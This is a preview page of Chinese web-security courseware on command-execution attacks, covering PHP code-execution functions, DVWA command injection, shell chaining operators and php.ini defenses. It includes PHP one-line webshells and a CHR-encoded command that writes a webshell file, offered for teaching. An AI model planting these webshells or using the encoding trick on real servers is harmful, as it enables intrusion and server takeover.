Web安全技術(shù) 課件 8 命令執(zhí)行_第1頁(yè)
Web安全技術(shù) 課件 8 命令執(zhí)行_第2頁(yè)
Web安全技術(shù) 課件 8 命令執(zhí)行_第3頁(yè)
Web安全技術(shù) 課件 8 命令執(zhí)行_第4頁(yè)
Web安全技術(shù) 課件 8 命令執(zhí)行_第5頁(yè)
已閱讀5頁(yè),還剩22頁(yè)未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說(shuō)明:本文檔由用戶(hù)提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

第8章命令執(zhí)行攻擊01命令執(zhí)行攻擊的原理02遠(yuǎn)程命令執(zhí)行漏洞03系統(tǒng)命令執(zhí)行漏洞04有效的防護(hù)方案目錄CONTENTS命令執(zhí)行示例

dvwa中,CommandInjection的功能是輸入一個(gè)IP,可以執(zhí)行一個(gè)ping命令。window和linux系統(tǒng)都可以用&&來(lái)執(zhí)行多條命令。當(dāng)輸入IP后,使用&&再加上一個(gè)其他命令,則后面的命令也會(huì)被執(zhí)行。命令執(zhí)行攻擊的原理命令執(zhí)行命令執(zhí)行攻擊的原理

命令執(zhí)行的效果類(lèi)似包含攻擊,主要是由于輸入的參數(shù)被當(dāng)成命令來(lái)執(zhí)行。

如果目標(biāo)站點(diǎn)在設(shè)計(jì)時(shí),其過(guò)濾功能不嚴(yán)格或數(shù)據(jù)與代碼區(qū)分不明顯,極易導(dǎo)致命令執(zhí)行漏洞的存在。

命令執(zhí)行漏洞分為遠(yuǎn)程命令執(zhí)行漏洞與本地命令執(zhí)行漏洞。命令執(zhí)行攻擊的原理01命令執(zhí)行攻擊的原理02遠(yuǎn)程命令執(zhí)行漏洞03系統(tǒng)命令執(zhí)行漏洞04有效的防護(hù)方案目錄CONTENTS命令執(zhí)行遠(yuǎn)程命令執(zhí)行漏洞的定義也稱(chēng)為遠(yuǎn)程代碼執(zhí)行漏洞。

是用戶(hù)通過(guò)瀏覽器遠(yuǎn)程提交執(zhí)行命令和參數(shù),服務(wù)器在沒(méi)有對(duì)執(zhí)行命令和參數(shù)進(jìn)行過(guò)濾的情況下,很有可能使攻擊者在服務(wù)器上執(zhí)行一代惡意構(gòu)造的代碼。

以一句話木馬為例。常見(jiàn)的一句話木馬:<?php@eval($_POST[‘a(chǎn)pple’]);?>就是以eval的方式將POST過(guò)來(lái)的參數(shù)數(shù)據(jù)以PHP的方式加以執(zhí)行。其中,apple參數(shù)由外部傳入,也就是成為攻擊者的可控參數(shù),從而形成遠(yuǎn)程命令執(zhí)行的漏洞。

下面介紹幾種遠(yuǎn)程命令執(zhí)行漏洞。遠(yuǎn)程命令執(zhí)行漏洞命令執(zhí)行利用系統(tǒng)函數(shù)實(shí)現(xiàn)遠(yuǎn)程命令執(zhí)行在PHP下,允許遠(yuǎn)程命令執(zhí)行的函數(shù)有eval()、assert()、preg_replace()、call_user_func()。如果頁(yè)面中存在上述函數(shù)且其參數(shù)可被用戶(hù)控制,同時(shí)沒(méi)有對(duì)參數(shù)做有效的過(guò)濾,就可能存在遠(yuǎn)程命令執(zhí)行漏洞。遠(yuǎn)程命令執(zhí)行漏洞命令執(zhí)行利用系統(tǒng)函數(shù)實(shí)現(xiàn)遠(yuǎn)程命令執(zhí)行1.eval()和assert()eval(string$code):把字符串$code當(dāng)代碼來(lái)執(zhí)行。assert(mixed$assertion):檢查$assertion為T(mén)RUE或

FALSE。如果$assertion是字符串,它將會(huì)被assert()當(dāng)做PHP代碼來(lái)執(zhí)行。例如:<?php$s=123;assert("is_int($s)");?>

遠(yuǎn)程命令執(zhí)行漏洞命令執(zhí)行利用系統(tǒng)函數(shù)實(shí)現(xiàn)遠(yuǎn)程命令執(zhí)行eval()和assert()eval()和assert()在執(zhí)行效果上基本相同,均可動(dòng)態(tài)執(zhí)行代碼,且接收的參數(shù)為字符串。在實(shí)戰(zhàn)中,eval()函數(shù)通常會(huì)被系統(tǒng)禁用,因此在一句話木馬中通常利用assert()來(lái)實(shí)現(xiàn)代碼。例如:

<?phpassert(@_REQUEST[‘APPLE’]);?>遠(yuǎn)程命令執(zhí)行漏洞命令執(zhí)行利用系統(tǒng)函數(shù)實(shí)現(xiàn)遠(yuǎn)程命令執(zhí)行2.preg_replace()mixedpreg_replace(mixed$pattern,mixed$replacement,mixed$subject[,int$limit=-1[,int&$count]])搜索subject中匹配pattern的部分,以replacement進(jìn)行替換。$limit:可選,對(duì)于每個(gè)模式用于每個(gè)subject字符串的最大可替換次數(shù)。默認(rèn)是-1(無(wú)限制)。$count:可選,為替換執(zhí)行的次數(shù)該函數(shù)常用于對(duì)傳入的參數(shù)進(jìn)行正則匹配過(guò)濾,實(shí)現(xiàn)對(duì)參數(shù)的輸入的有效過(guò)濾,廣泛應(yīng)用于各類(lèi)系統(tǒng)功能中。遠(yuǎn)程命令執(zhí)行漏洞命令執(zhí)行利用系統(tǒng)函數(shù)實(shí)現(xiàn)遠(yuǎn)程命令執(zhí)行2.preg_replace()mixedpreg_replace(mixed$pattern,mixed$replacement,mixed$subject[,int$limit=-1[,int&$count]])

當(dāng)$pattern中存在一個(gè)“/e”時(shí),$replacement的值會(huì)被當(dāng)成PHP代碼來(lái)執(zhí)行。例如文件preg_replace.php:

<?php

echopreg_replace(“/test/e”,$_GET[‘h’],

“justtest!”);

?>在瀏覽器中輸入:http://服務(wù)器IP/preg_replace.php?h=phpinfo(),可以看到phpinfo()被執(zhí)行。遠(yuǎn)程命令執(zhí)行漏洞命令執(zhí)行利用系統(tǒng)函數(shù)實(shí)現(xiàn)遠(yuǎn)程命令執(zhí)行2.preg_replace()

但要注意的是,目前在PHP5.4及以下版本中,preg_replace()可正常執(zhí)行代碼,而在PHP5.5及后續(xù)版本中會(huì)提醒“/e”修飾符已被棄用,要求用preg_replace_callback()來(lái)代替。

使用preg_replace()函數(shù)的好處在于,此函數(shù)在業(yè)務(wù)系統(tǒng)中廣泛使用,因此無(wú)法直接在PHP中進(jìn)行禁用,在適用范圍上比eval()、assert()函數(shù)好很多。但隨著PHP版本的提升,preg_replace()函數(shù)可使用的范圍也非常小了。遠(yuǎn)程命令執(zhí)行漏洞命令執(zhí)行利用系統(tǒng)函數(shù)實(shí)現(xiàn)遠(yuǎn)程命令執(zhí)行3.利用其他函數(shù)實(shí)現(xiàn)

在命令執(zhí)行漏洞中,還可利用其他函數(shù)的組合來(lái)實(shí)現(xiàn)類(lèi)似的功能。例如,array_map()、call_user_func()等,例如代碼:

<?php

$cmd=$_GET[‘cmd’];

$some_array=array(0,1,2,3);

$new_array=array_map($cmd,$some_array);

?>瀏覽器中輸入:http://服務(wù)器IP/array_map.php?cmd=phpinfo可執(zhí)行phpinfo遠(yuǎn)程命令執(zhí)行漏洞命令執(zhí)行利用系統(tǒng)函數(shù)實(shí)現(xiàn)遠(yuǎn)程命令執(zhí)行3.利用其他函數(shù)實(shí)現(xiàn)同種類(lèi)型的函數(shù)還有:遠(yuǎn)程命令執(zhí)行漏洞ob_start(),unserialize(),create_function()usort,uasort(),uksort()array_filter()array_reduce()array_diff_uassoc(),array_diff_ukey()array_udiff(),array_udiff_assoc(),array_udiff_uassoc()array_intersect_assoc(),array_intersect_uassoc()array_uintersect(),array_uintersectassoc(),array_uintersect_uassoc()array_walk(),array_walk_recursive()命令執(zhí)行利用系統(tǒng)函數(shù)實(shí)現(xiàn)遠(yuǎn)程命令執(zhí)行4.利用動(dòng)態(tài)函數(shù)執(zhí)行

PHP語(yǔ)言的特性之一就是當(dāng)前的PHP函數(shù)可直接由字符串拼接而成。因此,很多程序用了動(dòng)態(tài)函數(shù)的寫(xiě)法,比如用可控的函數(shù)名來(lái)動(dòng)態(tài)生成要執(zhí)行的函數(shù)名稱(chēng)及內(nèi)容。在命令執(zhí)行功能中,可利用這個(gè)特性實(shí)現(xiàn)命令的執(zhí)行。環(huán)境測(cè)試代碼如下:

<?php

$a=$_GET[‘a(chǎn)’];

$b=$_GET[‘b’];

echo$a($b);

?>瀏覽器中輸入:http://服務(wù)器IP/a_b.php?a=assert&&b=phpinfo()仍可拼接成命令執(zhí)行。遠(yuǎn)程命令執(zhí)行漏洞命令執(zhí)行利用漏洞獲取webshell如果存在遠(yuǎn)程命令執(zhí)行漏洞,攻擊者最想獲得的就是目的站點(diǎn)的webshell,即目標(biāo)站點(diǎn)的控制權(quán)限。在這個(gè)過(guò)程中,利用木馬技術(shù)是獲取webshell的有效手段。針對(duì)存在遠(yuǎn)程命令執(zhí)行漏洞的環(huán)境,攻擊者會(huì)嘗試構(gòu)建可執(zhí)行的命令,并在命令執(zhí)行后會(huì)導(dǎo)致目標(biāo)站點(diǎn)在其本地生成一個(gè)PHP頁(yè)面。生成的PHP頁(yè)面中包含一句話木馬。這個(gè)過(guò)程中,有效的命令格式為:fputs(fopen(“a.php”,“w”),’<?phpeval($_POST[“cmd”])?>’);遠(yuǎn)程命令執(zhí)行漏洞我們發(fā)現(xiàn),直接用上述命令提交,瀏覽器會(huì)把字符轉(zhuǎn)義成HTML實(shí)體命令執(zhí)行利用漏洞獲取webshell為避免這種情況,我們需要利用CHR對(duì)字符進(jìn)行ASCII轉(zhuǎn)換,進(jìn)而實(shí)現(xiàn)執(zhí)行。因此,以上代碼轉(zhuǎn)換為如下形式:CHR(102).CHR(112).CHR(117).CHR(116).CHR(115).CHR(40).CHR(102).CHR(111).CHR(112).CHR(101).CHR(110).CHR(40).CHR(34).CHR(97).CHR(46).CHR(112).CHR(104).CHR(112).CHR(34).CHR(44).CHR(34).CHR(119).CHR(34).CHR(41).CHR(44).CHR(39).CHR(60).CHR(63).CHR(112).CHR(104).CHR(112).CHR(32).CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(34).CHR(99).CHR(109).CHR(100).CHR(34).CHR(93).CHR(41).CHR(63).CHR(62).CHR(39).CHR(41).CHR(59)遠(yuǎn)程命令執(zhí)行漏洞01命令執(zhí)行攻擊的原理02遠(yuǎn)程命令執(zhí)行漏洞03系統(tǒng)命令執(zhí)行漏洞04有效的防護(hù)方案目錄CONTENTS命令執(zhí)行系統(tǒng)命令執(zhí)行漏洞相對(duì)于遠(yuǎn)程命令執(zhí)行漏洞,系統(tǒng)命令執(zhí)行漏洞是指利用系統(tǒng)自身的命令實(shí)現(xiàn)額外的命令執(zhí)行。以DVWA中CommandInjection為例,其low級(jí)別的源代碼如下:系統(tǒng)命令執(zhí)行漏洞<?phpif(isset($_POST['Submit'])){$target=$_REQUEST['ip'];if(stristr(php_uname('s'),'WindowsNT')){$cmd=shell_exec('ping'.$target);}else{$cmd=shell_exec('ping-c4'.$target);}echo"<pre>{$cmd}</pre>";}?>可以看出,此功能是利用了PHP的系統(tǒng)命令執(zhí)行函數(shù)來(lái)調(diào)用系統(tǒng)命令并執(zhí)行。這類(lèi)函數(shù)有system()、exec()、shell_exec()、passthru()、pcntl_exec()、popen()、proc_open()等。命令執(zhí)行系統(tǒng)命令執(zhí)行漏洞要想在完成系統(tǒng)本來(lái)命令的基礎(chǔ)上再執(zhí)行其他系統(tǒng)命令,需要用到連接符。連接符有:Windows:&前面的語(yǔ)句執(zhí)行為真為假都直接執(zhí)行后面的命令&&前面的語(yǔ)句為假則直接出錯(cuò),后面的也不執(zhí)行|是管道,表示將前面命令的輸出作為后面命令的輸入,并且只顯示后面命令的執(zhí)行結(jié)果||前面命令出錯(cuò)才執(zhí)行后面的命令Linux:;前面的執(zhí)行完執(zhí)行后面的|是管道,表示將前面命令的輸出作為后面命令的輸入,并且只顯示后面命令的執(zhí)行結(jié)果||當(dāng)前面的命令出錯(cuò)時(shí)執(zhí)行后面的命令系統(tǒng)命令執(zhí)行漏洞01命令執(zhí)行攻擊的原理02遠(yuǎn)程命令執(zhí)行漏洞03系統(tǒng)命令執(zhí)行漏洞04有效的防護(hù)方案目錄CONTENTS命令執(zhí)行相對(duì)于其他的漏洞,命令執(zhí)行漏洞的利用方式及思路非常清晰,并且防護(hù)方案也比較明確。主要思路是消除漏洞存在環(huán)境,或針對(duì)傳入的參數(shù)進(jìn)行嚴(yán)格限制或過(guò)濾,從而有效避免漏洞出現(xiàn)。有效的防護(hù)方案命令執(zhí)行禁用部分系統(tǒng)函數(shù)很多高危系統(tǒng)函數(shù)在真實(shí)而退役中并沒(méi)有被太多使用,因此可以直接禁用,從根本上避免程序中命令執(zhí)行類(lèi)漏洞的出現(xiàn)。在PHP下禁用高危系統(tǒng)函數(shù)的方法為:打開(kāi)PHP安裝目錄,找到php.ini,查找到disable_functions,添加需要禁用的函數(shù)名。需要禁用的函數(shù)名有:phpinfo(),eval(),passthru(),exec(),system(),chroot(),

scandir(),chgrp(),chown(),shell_exec(),proc_open(),proc_get_status(),ini_alter(),ini_restore(),dl(),pfsockopen(),openlog(),syslog(),readlink(),symlink(),popepassthru(),stream_socket_server(),fsocket(),fsockopen()有效的防護(hù)方案命令執(zhí)行嚴(yán)格過(guò)濾關(guān)鍵字符在利用命令漏洞

溫馨提示

  • 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶(hù)所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶(hù)上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶(hù)上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶(hù)因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

評(píng)論

0/150

提交評(píng)論